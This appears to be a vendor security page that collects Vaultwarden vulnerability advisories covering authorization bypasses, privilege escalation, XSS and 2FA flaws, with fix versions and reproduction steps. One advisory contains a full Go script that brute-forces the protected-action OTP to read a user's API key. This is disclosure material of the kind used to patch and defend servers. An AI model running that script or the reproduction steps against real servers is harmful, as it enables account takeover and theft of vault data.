See how dani-garcia compares to other vendors in security performance
An issue in the component src/api/identity.rs of Vaultwarden prior to v1.32.5 allows attackers to impersonate users, including Administrators, via a crafted authorization request.
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.4, there is a security vulnerability in Vaultwarden that allows bypassing the login brute-force protection if email 2fa is enabled. If email 2fa is enabled, the unprotected 2fa-function sendemaillogin (email.rs, api endpoint /api/two-factor/send-email-login) also acts as an oracle determining whether a username-password combination is correct. An attacker can abuse that endpoint to brute-force passwords without rate-limiting. This works even for users who don't have email 2fa configured. This vulnerability is fixed in 1.35.4.
An HTML injection vulnerability in Vaultwarden prior to v1.32.5 allows attackers to execute arbitrary code via injecting a crafted payload into the username field of an e-mail message.
An issue was discovered in Vaultwarden (formerly BitwardenRS) 1.30.3. A vulnerability has been identified in the authentication and authorization process of the endpoint responsible for altering the metadata of an emergency access. It permits an attacker with granted emergency access to escalate their privileges by changing the access level and modifying the wait time. Consequently, the attacker can gain full control over the vault (when only intended to have read access) while bypassing the necessary wait period.
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden does not enforce that a groupsusers.usersorganizationsuuid entry belongs to the same organization as groups.groupsuuid, or a collectionsgroups.collectionsuuid entry belongs to the same organization as collectionsgroups.groupsuuid. Multiple organization group-management endpoints accept arbitrary MembershipId and CollectionId values and persist them directly without verifying org consistency. This lets an attacker who is Admin in Organization A, and only a low-privileged member in Organization B bind their Org B membership UUID into an Org A group, then use that foreign group relationship to gain unauthorized access to Org B vault data. With an accessAll=true Org A group, the attacker can make /api/sync and /api/ciphers enumerate Org B ciphers. Once those unauthorized sync results reveal Org B collection IDs, the attacker can also bind those foreign collection IDs to the Org A group and turn the same flaw into write access over Org B items. This vulnerability is fixed in 1.35.5.
Summary
A Manager account (accessall=false) was able to escalate privileges by directly invoking the bulk-access API against collections that were not originally assigned to them. The API allowed changing assigned=false to assigned=true, resulting in unauthorized access.
Additionally, prior to the bulk-access call, the regular single-update API correctly returned 401 Unauthorized for the same collection. After executing the bulk-access API, the same update API returned 200 OK, confirming an authorization gap at the HTTP level.
---
Description
The endpoint accepts ManagerHeadersLoose and does not validate access rights for the specified collectionIds. src/api/core/organizations.rs:551
rust headers: ManagerHeadersLoose,
The received collectionids are processed directly without per-collection authorization checks. src/api/core/organizations.rs:564
rust for colid in data.collectionids {
Existing group assignments for the collection are deleted. src/api/core/organizations.rs:583
rust CollectionGroup::deleteallbycollection(&colid, &conn).await?;
Existing user assignments for the collection are deleted. src/api/core/organizations.rs:590
rust CollectionUser::deleteallbycollection(&colid, &conn).await?;
By comparison, another bulk-processing endpoint performs per-collection validation using fromloose. src/api/core/organizations.rs:787
rust let headers = ManagerHeaders::fromloose(headers, &collections, &conn).await?;
The actual access control logic is implemented in canaccesscollection, which is not invoked in the bulk-access endpoint. src/auth.rs:911
rust if !Collection::canaccesscollection(&h.membership, colid, conn).await {
---
Preconditions
The attacker possesses a valid Manager account within the target organization. The organization contains collections that are not assigned to the attacker. The attacker can authenticate through the standard API login process (Owner/Admin privileges are not required).
---
Steps to Reproduce
1. Log in as a Manager and obtain a Bearer token. <img width="4016" height="1690" alt="image" src="https://github.com/user-attachments/assets/218f05e2-6a2e-4066-8f8d-6bbef1cc5858" />
2. Confirm the current values of assigned, manage, readOnly, and hidePasswords for the target collection. <img width="4026" height="1694" alt="image" src="https://github.com/user-attachments/assets/a6d2fc70-5370-4984-85bd-a6f74febdfa3" />
3. Verify that the standard update API returns 401 Unauthorized when attempting to modify the unassigned collection. <img width="4030" height="1708" alt="image" src="https://github.com/user-attachments/assets/802f0d2b-d474-44d2-beef-b4f7f3335225" />
4. Invoke the bulk-access API, including: <img width="4036" height="1120" alt="image" src="https://github.com/user-attachments/assets/1d3caa01-3ac2-4636-9ed0-189e5923c986" />
collectionIds containing the target collection users containing the attacker’s own membershipid Confirm that the API returns 200 OK.
5. Re-run the standard update API. Confirm that it now succeeds and that the previously unauthorized modification is applied. <img width="4040" height="1440" alt="image" src="https://github.com/user-attachments/assets/340e9676-d802-404c-b894-9986a176360a" />
---
Required Minimum Privileges
Manager role within the target organization (the issue occurs even when accessall=false)
---
Attack Scenario
A delegated administrator or department-level Manager within an organization directly calls the API to add themselves to unauthorized collections and gain access to confidential information.
Because the bulk update process deletes and reassigns existing permissions, the attacker can also remove other users’ access, enabling denial-of-service or sabotage within the organization.
---
Potential Impact
Confidentiality: Unauthorized access to sensitive information within restricted collections. Integrity: Unauthorized modification of collection permission settings and arbitrary changes to access controls. Availability: Deletion of existing assignments may cause legitimate users to lose access.
Summary
Testing confirmed that even when a Manager has manage=false for a given collection, they can still perform the following management operations as long as they have access to the collection:
PUT /api/organizations/<orgid>/collections/<colid> succeeds (HTTP 200) PUT /api/organizations/<orgid>/collections/<colid>/users succeeds (HTTP 200) DELETE /api/organizations/<orgid>/collections/<colid> succeeds (HTTP 200)
Description
The Manager guard checks only whether the user can access the collection, not whether they have manage privileges. This check is directly applied to management endpoints. src/auth.rs:816 rust
if !Collection::canaccesscollection(&headers.membership, &colid, &conn).await { errhandler!("The current user isn't a manager for this collection") }
The canaccesscollection function does not evaluate the manage flag. src/db/models/collection.rs:140
rust
pub async fn canaccesscollection(member: &Membership, colid: &CollectionId, conn: &DbConn) -> bool { member.hasstatus(MembershipStatus::Confirmed) && (member.hasfullaccess() || CollectionUser::hasaccesstocollectionbyuser(colid, &member.useruuid, conn).await || ...
A separate management-permission check exists and includes manage validation, but it is not used during authorization for the affected endpoints. src/db/models/collection.rs:516
rust
pub async fn ismanageablebyuser(&self, useruuid: &UserId, conn: &DbConn) -> bool { let Some(member) = Membership::findconfirmedbyuserandorg(useruuid, &self.orguuid, conn).await else { return false; }; if member.hasfullaccess() { return true; } ...
The actual update and deletion endpoints only accept ManagerHeaders and do not perform additional manage checks. src/api/core/organizations.rs:608
rust async fn putorganizationcollectionupdate(..., headers: ManagerHeaders, ...)
src/api/core/organizations.rs:890
rust async fn putcollectionusers(..., headers: ManagerHeaders, ...)
src/api/core/organizations.rs:747
rust async fn deleteorganizationcollection(..., headers: ManagerHeaders, ...)
Preconditions
The attacker is a Manager within the target organization. The attacker has access to the target collection (assigned=true). The attacker’s permission for that collection is manage=false. A valid API access token has been obtained.
Steps to Reproduce
1. Confirm that the attacker’s current permissions for the target collection include manage=false. <img width="2015" height="636" alt="image" src="https://github.com/user-attachments/assets/58ddc733-e37c-4766-a980-b1ea1918ceb4" />
2. As a control test, verify that update operations fail for collections the attacker cannot access. <img width="2021" height="852" alt="image" src="https://github.com/user-attachments/assets/d8699442-2dfc-4d73-8940-ec10f4a175f0" />
3. Confirm that update operations succeed for the target collection where manage=false. <img width="2013" height="690" alt="image" src="https://github.com/user-attachments/assets/33d9845d-d18e-456c-a58c-e780911347a9" />
4. Use PUT /collections/{colid}/users to set manage=true, confirming that the attacker can escalate their own privileges. <img width="2018" height="488" alt="image" src="https://github.com/user-attachments/assets/da8c5246-cf2a-46c2-9a25-e99d907f852d" />
5. Verify that deletion of the collection succeeds despite the Manager lacking management rights. <img width="2018" height="487" alt="image" src="https://github.com/user-attachments/assets/a97c8fb2-4f97-4c2a-a90b-9d95dbde84fd" />
Required Minimum Privileges
Organization Manager role (Owner/Admin privileges are not required) Works even with accessall=false Only access rights to the target collection are required (manage privilege is not required)
Attack Scenario
A restricted Manager (intended for read/use-only access) directly invokes the API to update collection settings, elevate their own privileges to manage=true, and even delete the collection.
This allows the user to bypass operational access restrictions and effectively gain administrator-equivalent control over the collection.
Potential Impact
Confidentiality: Expansion of access scope through unauthorized privilege escalation and configuration changes. Integrity: Unauthorized modification of collection settings and assignments; potential disabling of access controls. Availability: Deletion of collections may disrupt business operations.
vaultwarden is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwardenrs. Attacker can obtain owner rights of other organization. Hacker should know the ID of victim organization (in real case the user can be a part of the organization as an unprivileged user) and be the owner/admin of other organization (by default you can create your own organization) in order to attack. This vulnerability is fixed in 1.33.0.
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden allows an unconfirmed organization owner to purge the entire organization vault. The organization invite flow uses a two-step process: accepting an invite transitions membership from Invited to Accepted, and a separate confirmation by an existing owner upgrades it to Confirmed. The POST /api/ciphers/purge endpoint uses plain Headers and only checks that the membership type is Owner without verifying that the membership status is Confirmed. An authenticated user who has been invited as an organization owner and has accepted the invite and has not yet been confirmed can call this endpoint to hard-delete all ciphers and attachments in the organization, causing immediate organization-wide data loss. This vulnerability is fixed in 1.35.5.
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, refresh tokens are not invalidated when the user's securitystamp is rotated by some security-sensitive operations (password change, KDF change, key rotation, email change, org admin password reset, emergency access takeover). This allows an attacker holding a previously obtained refresh token to maintain session access even after the user has taken action to secure their account. This vulnerability is fixed in 1.35.5.
vaultwarden is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwardenrs. In affected versions an attacker is capable of updating or deleting groups from an organization given a few conditions: 1. The attacker has a user account in the server. 2. The attacker's account has admin or owner permissions in an unrelated organization. 3. The attacker knows the target organization's UUID and the target group's UUID. Note that this vulnerability is related to group functionality and as such is only applicable for servers who have enabled the ORGGROUPSENABLED setting, which is disabled by default. This attack can lead to different situations: 1. Denial of service, the attacker can limit users from accessing the organization's data by removing their membership from the group. 2. Privilege escalation, if the attacker is part of the victim organization, they can escalate their own privileges by joining a group they wouldn't normally have access to. For attackers that aren't part of the organization, this shouldn't lead to any possible plain-text data exfiltration as all the data is encrypted client side. This vulnerability is patched in Vaultwarden 1.32.7, and users are recommended to update as soon as possible. If it's not possible to update to 1.32.7, some possible workarounds are: 1. Disabling ORGGROUPSENABLED, which would disable groups functionality on the server. 2. Disabling SIGNUPSALLOWED, which would not allow an attacker to create new accounts on the server.
vaultwarden is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwardenrs. Attacker with authenticated access to the vaultwarden admin panel can execute arbitrary code in the system. The attacker could then change some settings to use sendmail as mail agent but adjust the settings in such a way that it would use a shell command. It then also needed to craft a special favicon image which would have the commands embedded to run during for example sending a test email. This vulnerability is fixed in 1.33.0.
An issue was discovered in Vaultwarden (formerly BitwardenRS) 1.30.3. It lacks an offboarding process for members who leave an organization. As a result, the shared organization key is not rotated when a member departs. Consequently, the departing member, whose access should be revoked, retains a copy of the organization key. Additionally, the application fails to adequately protect some encrypted data stored on the server. Consequently, an authenticated user could gain unauthorized access to encrypted data of any organization, even if the user is not a member of the targeted organization. However, the user would need to know the corresponding organizationId. Hence, if a user (whose access to an organization has been revoked) already possesses the organization key, that user could use the key to decrypt the leaked data.
vaultwarden is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwardenrs. Prior to 1.35.3, a regular organization member can retrieve all ciphers within an organization, regardless of collection permissions. The endpoint /ciphers/organization-details is accessible to any organization member and internally uses Cipher::findbyorg to retrieve all ciphers. These ciphers are returned with CipherSyncType::Organization without enforcing collection-level access control. This vulnerability is fixed in 1.35.3.
Summary
Vaultwarden v1.34.3 and prior are susceptible to a 2FA bypass when performing protected actions. An attacker who gains authenticated access to a user’s account can exploit this bypass to perform protected actions such as accessing the user's API key or deleting the user's vault and organisations the user is an admin/owner of.
Note that
Details
Within Vaultwarden, the PasswordOrOtpData struct is used to gate certain protected actions such as account deletion behind a 2FA validation. This validation requires the user to either re-enter their master password, or to enter a one-time passcode sent to their email address.
By default, the one-time passcode is comprised of six digits, and the expiry time for each token is ten minutes. The validation of this one-time passcode is performed by the following function:
rust pub async fn validateprotectedactionotp( otp: &str, userid: &UserId, deleteifvalid: bool, conn: &mut DbConn, ) -> EmptyResult { let pa = TwoFactor::findbyuserandtype(userid, TwoFactorType::ProtectedActions as i32, conn) .await .mapres("Protected action token not found, try sending the code again or restart the process")?; let mut padata = ProtectedActionData::fromjson(&pa.data)?;
padata.addattempt(); // Delete the token after x attempts if it has been used too many times // We use the 6, which should be more then enough for invalid attempts and multiple valid checks if padata.attempts > 6 { pa.delete(conn).await?; err!("Token has expired") }
// Check if the token has expired (Using the email 2fa expiration time) let date = DateTime::fromtimestamp(padata.tokensent, 0).expect("Protected Action token timestamp invalid.").naiveutc(); let maxtime = CONFIG.emailexpirationtime() as i64; if date + TimeDelta::tryseconds(maxtime).unwrap() < Utc::now().naiveutc() { pa.delete(conn).await?; err!("Token has expired") }
if !crypto::cteq(&padata.token, otp) { pa.save(conn).await?; err!("Token is invalid") }
if deleteifvalid { pa.delete(conn).await?; }
Ok(()) }
Since the one-time passcode is only six-digits long, it has significantly less entropy than a typical password or secret key. Hence, Vaultwarden attempts to prevent brute-force attacks against this passcode by enforcing a rate limit of 6 attempts per code. However, the number of attempts made by the user is not persisted correctly.
In the validateprotectedactiontop function, Vaultwarden first reads the OTP data from a JSON blob stored in pa.data. The resulting ProtectedActionData structure is then a deserialised copy of the underlying JSON value.
rust let mut padata = ProtectedActionData::fromjson(&pa.data)?;
Next, Vaultwarden calls padata.addattempt() in order to increment the number of attempts made by one. This increments the attempt count on the local structure, but does not modify the value of the pa.data.
rust pub fn addattempt(&mut self) { self.attempts += 1; }
Finally, if the OTP validation fails, Vaultwarden attempts to persist the updated attempt count by calling pa.save(conn). However since we only modified a copy of pa.data, the value of pa.data.attempts remains at zero.
The probability of a successful brute force depends on the OTP token length, the OTP expiry duration, and the request throughput. Since each request issued by the attacker does not depend on any previous requests, network latency is not a factor. The bottleneck then, will likely be either the attacker’s network bandwidth or Vaultwarden’s request processing throughput. From local testing, rates of up to 2500 requests per second were achievable, which successfuly bruteforced the OTP in 3 minutes.
If the attacker’s request throughput is low, they can also make repeated requests to /api/accounts/request-otp to generate new tokens. Their probability of success is then
math 1 - \left(1 - \frac{R T}{10^L}\right)^n,
where $R$ is the number of requests per second, $T$ is the token expiry time in seconds, $L$ is the number of digits in the OTP code, and $n$ is the number of OTP tokens requested.
<a id="orgca0bfe5"></a>
Proof of Concept
The easiest method of demonstrating this vulnerability is by making an (authenticated) request to the /api/accounts/request-otp endpoint to generate an OTP, and then repeatedly sending invalid guesses to /api/accounts/verify-otp. After six guesses, Vaultwarden will still reply "Token is invalid" in response to an incorrect guess, rather than "Token has expired" as expected when the rate limit is exceeded. Upon entering the correct OTP, the code will still validate despite more than six guesses being made.
For a more practical example, the following Go script will brute force the OTP in order to read the user’s API key.
go package main
import ( "bytes" "context" "crypto/tls" "encoding/json" "fmt" "io" "log" "net/http" "sync" "sync/atomic" "time" )
const ( host = "https://10.10.0.1:8000" jwtToken = "..." concurrency = 100 totalOtps = 1000000 )
type Brute struct { client http.Client }
func NewBrute() Brute { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } return &Brute{ client: &http.Client{Transport: tr}, } }
func (v Brute) RequestOTP() error { req, err := http.NewRequest("POST", host+"/api/accounts/request-otp", nil) if err != nil { return fmt.Errorf("failed to create OTP request: %w", err) } req.Header.Set("Authorization", "Bearer "+jwtToken)
resp, err := v.client.Do(req) if err != nil { return fmt.Errorf("failed to send OTP request: %w", err) } defer resp.Body.Close()
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusBadRequest { return fmt.Errorf("unexpected status code for OTP request: %d", resp.StatusCode) }
fmt.Println("Requested OTP successfully") return nil }
func (v Brute) GetAPIKey(ctx context.Context, otp string) (bool, error) { payload, := json.Marshal(map[string]string{"otp": otp}) body := bytes.NewBuffer(payload)
req, err := http.NewRequestWithContext(ctx, "POST", host+"/api/accounts/api-key", body) if err != nil { return false, fmt.Errorf("failed to create verification request: %w", err) } req.Header.Set("Authorization", "Bearer "+jwtToken) req.Header.Set("Content-Type", "application/json")
resp, err := v.client.Do(req) if err != nil { return false, err } defer resp.Body.Close()
switch resp.StatusCode { case http.StatusOK: body, err := io.ReadAll(resp.Body) if err == nil { fmt.Println("\n-----\n" + string(body) + "\n-----\n") } return true, nil case http.StatusBadRequest: return false, nil default: return false, fmt.Errorf("unexpected status code for verification: %d", resp.StatusCode) } }
func progressTracker(ctx context.Context, counter uint64, start time.Time) { ticker := time.NewTicker(300 time.Millisecond) defer ticker.Stop()
for { select { case <-ctx.Done(): done := atomic.LoadUint64(counter) elapsed := time.Since(start).Seconds() rps := 0.0 if elapsed > 0 { rps = float64(done) / elapsed } fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\n", done, totalOtps, float64(done)/float64(totalOtps)100, rps, elapsed) return case <-ticker.C: done := atomic.LoadUint64(counter) elapsed := time.Since(start).Seconds() rps := 0.0 if elapsed > 0 { rps = float64(done) / elapsed } fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs", done, totalOtps, float64(done)/float64(totalOtps)100, rps, elapsed) } } }
func main() { brute := NewBrute() if err := brute.RequestOTP(); err != nil { log.Fatalf("Error: %v", err) }
ctx, cancel := context.WithCancel(context.Background()) defer cancel()
var wg sync.WaitGroup var counter uint64 startTime := time.Now()
go progressTracker(ctx, &counter, startTime)
chunkSize := totalOtps / concurrency for i := 0; i < concurrency; i++ { start := i chunkSize end := start + chunkSize if i == concurrency-1 { end = totalOtps }
wg.Add(1) go func(s, e int) { defer wg.Done() for otpNum := s; otpNum < e; otpNum++ { select { case <-ctx.Done(): return default: }
otpStr := fmt.Sprintf("%06d", otpNum) success, err := brute.GetAPIKey(ctx, otpStr)
atomic.AddUint64(&counter, 1)
if err != nil { select { case <-ctx.Done(): default: log.Printf("\nError verifying OTP %s: %v", otpStr, err) cancel() } return }
if success { fmt.Printf("\n\nSuccess: Found OTP = %s\n", otpStr) cancel() return } } }(start, end) }
wg.Wait() fmt.Println("Brute-force attempt finished.") } <img width="997" height="301" alt="image" src="https://github.com/user-attachments/assets/61486bb6-302b-4edb-87b7-d229bbd33380" />
Impact
An attacker who gains access to a user’s account can exploit this bypass to perform protected actions such as accessing the user’s API key or deleting the user’s accounts and organisations.
Remediation
The simplest fix is to ensure the updated number of attempts is persisted by calling pa.data = padata.tojson() before calling pa.save(conn). However this still leaves open the possibility of an attacker requesting an OTP code, exhausting their six attempts and then requesting a new code to try. This attack succeeds with probability
math 1 - \left(1 - \frac{6}{10^L}\right)^n,
which becomes non-neglible as $n$ increases.
Therefore the best approach might be to enforce a delay like this, to ensure that all rate limits are ultimately tied back to time:
diff diff --git a/src/api/core/twofactor/protectedactions.rs b/src/api/core/twofactor/protectedactions.rs index 5e4a65be..aa9cb8f6 100644 --- a/src/api/core/twofactor/protectedactions.rs +++ b/src/api/core/twofactor/protectedactions.rs @@ -66,7 +66,18 @@ async fn requestotp(headers: Headers, mut conn: DbConn) -> EmptyResult { if let Some(pa) = TwoFactor::findbyuserandtype(&user.uuid, TwoFactorType::ProtectedActions as i32, &mut conn).await { - pa.delete(&mut conn).await?; + let padata = ProtectedActionData::fromjson(&pa.data)?; + let tokensent = DateTime::fromtimestamp(padata.tokensent, 0) + .expect("Protected Action token timestamp invalid") + .naiveutc(); + let elapsed = Utc::now().naiveutc() - tokensent; + let delay = TimeDelta::seconds(20); + + if elapsed < delay { + err!(format!("Please wait {} seconds before requesting another code.", (delay - elapsed).numseconds())); + } else { + pa.delete(&mut conn).await?; + } }
let generatedtoken = crypto::generateemailtoken(CONFIG.emailtokensize()); @@ -131,6 +142,7 @@ pub async fn validateprotectedactionotp( }
if !crypto::cteq(&padata.token, otp) { + pa.data = padata.tojson(); pa.save(conn).await?; err!("Token is invalid") }
An issue was discovered in Vaultwarden (formerly BitwardenRS) 1.30.3. A stored cross-site scripting (XSS) or, due to the default CSP, HTML injection vulnerability has been discovered in the admin dashboard. This potentially allows an authenticated attacker to inject malicious code into the dashboard, which is then executed or rendered in the context of an administrator's browser when viewing the injected content. However, it is important to note that the default Content Security Policy (CSP) of the application blocks most exploitation paths, significantly mitigating the potential impact.
Vaultwarden v1.32.5 was discovered to contain an authenticated reflected cross-site scripting (XSS) vulnerability via the component /api/core/mod.rs.
Summary
In the test environment, it was confirmed that an authenticated regular user can specify another user’s cipherid and call:
PUT /api/ciphers/{id}/partial
Even though the standard retrieval API correctly denies access to that cipher, the partial update endpoint returns 200 OK and exposes cipherDetails (including name, notes, data, secureNote, etc.).
Description
putcipherpartial retrieves the target Cipher but does not perform ownership or access control checks before returning tojson. Authorization checks present in the normal update API are missing here. src/api/core/ciphers.rs:717
rust let Some(cipher) = Cipher::findbyuuid(&cipherid, &conn).await else { err!("Cipher doesn't exist") };
if let Some(ref folderid) = data.folderid { if Folder::findbyuuidanduser(folderid, &headers.user.uuid, &conn).await.isnone() { err!("Invalid folder", "Folder does not exist or belongs to another user"); } }
// Move cipher cipher.movetofolder(data.folderid.clone(), &headers.user.uuid, &conn).await?;
// Update favorite cipher.setfavorite(Some(data.favorite), &headers.user.uuid, &conn).await?;
Ok(Json(cipher.tojson(&headers.host, &headers.user.uuid, None, CipherSyncType::User, &conn).await?))
By comparison, the standard update API includes an explicit authorization check: src/api/core/ciphers.rs:688
rust if !cipher.iswriteaccessibletouser(&headers.user.uuid, &conn).await { err!("Cipher is not write accessible") }
The tojson method does not abort processing when access restrictions are not met; instead, it proceeds to construct and return a detailed response. src/db/models/cipher.rs:175
rust let (readonly, hidepasswords, ) = if synctype == CipherSyncType::User { match self.getaccessrestrictions(useruuid, ciphersyncdata, conn).await { Some((ro, hp, mn)) => (ro, hp, mn), None => { error!("Cipher ownership assertion failure"); (true, true, false) } } } else { (false, false, false) }; src/db/models/cipher.rs:335
rust let mut jsonobject = json!({ "object": "cipherDetails", "id": self.uuid, "type": self.atype, ... "name": self.name, "notes": self.notes, "fields": fieldsjson, "data": datajson, ... });
Preconditions
The attacker possesses a valid regular-user JWT (Bearer token). The attacker knows the target (victim) cipherid.
Steps to Reproduce
1. Prepare the attacker JWT and victim cipherid (preconditions). 2. Baseline check: confirm that standard retrieval is denied. <img width="2014" height="855" alt="image" src="https://github.com/user-attachments/assets/32b12cc9-3672-4a88-afd0-ef7715474662" />
3. Execute the vulnerable API. Confirm that 200 OK is returned and that cipherDetails includes fields such as id, name, notes, secureNote, etc. <img width="2018" height="1113" alt="image" src="https://github.com/user-attachments/assets/341b330c-8d55-4f06-a622-0d7da28f62fd" />
Potential Impact
Unauthorized disclosure of other users’ cipher information (confidentiality breach). Creation of unauthorized associations within the attacker’s user context (e.g., favorite or folder operations). The response from /api/ciphers/<cipherid>/partial includes attachments[].url.
In filesystem (FS) deployments, this returns a tokenized endpoint such as:
/attachments/<cipher>/<file>?token=...
In object storage deployments, it returns a short-lived pre-signed URL.
As a result, an attacker can use these URLs to directly download attachment data that they are not authorized to access.
This can lead to disclosure of sensitive information stored in the Vault, including personal data and authentication credentials. Such exposure may further result in account compromise, lateral movement, and other secondary impacts.
Vaultwarden is a Bitwarden-compatible server written in Rust. In versions 1.35.4 and earlier, the WebAuthn authentication flow in validatewebauthnlogin() updates persistent credential metadata (1backupeligible1 and 1backupstate flags1) based on unverified authenticatorData before signature validation is performed. An attacker who knows a user's password but cannot produce a valid WebAuthn signature can permanently modify the stored backup flags for that user's credential. If signature verification fails, the database update is not rolled back. This can result in a persistent denial of service of WebAuthn two-factor authentication for affected credentials. This issue has been fixed in version 1.35.5.
Vaultwarden is a Bitwarden-compatible server written in Rust. In version 1.35.4 and earlier, the getorgcollectionsdetails endpoint (GET /api/organizations/{orgid}/collections/details) is missing the hasfullaccess() authorization check that exists on the sibling getorgcollections endpoint. This allows any Manager-role user with accessAll=False and no collection assignments to retrieve the names, UUIDs, user-to-collection mappings, and group-to-collection mappings for all collections in the organization. This issue has been fixed in version 1.35.5.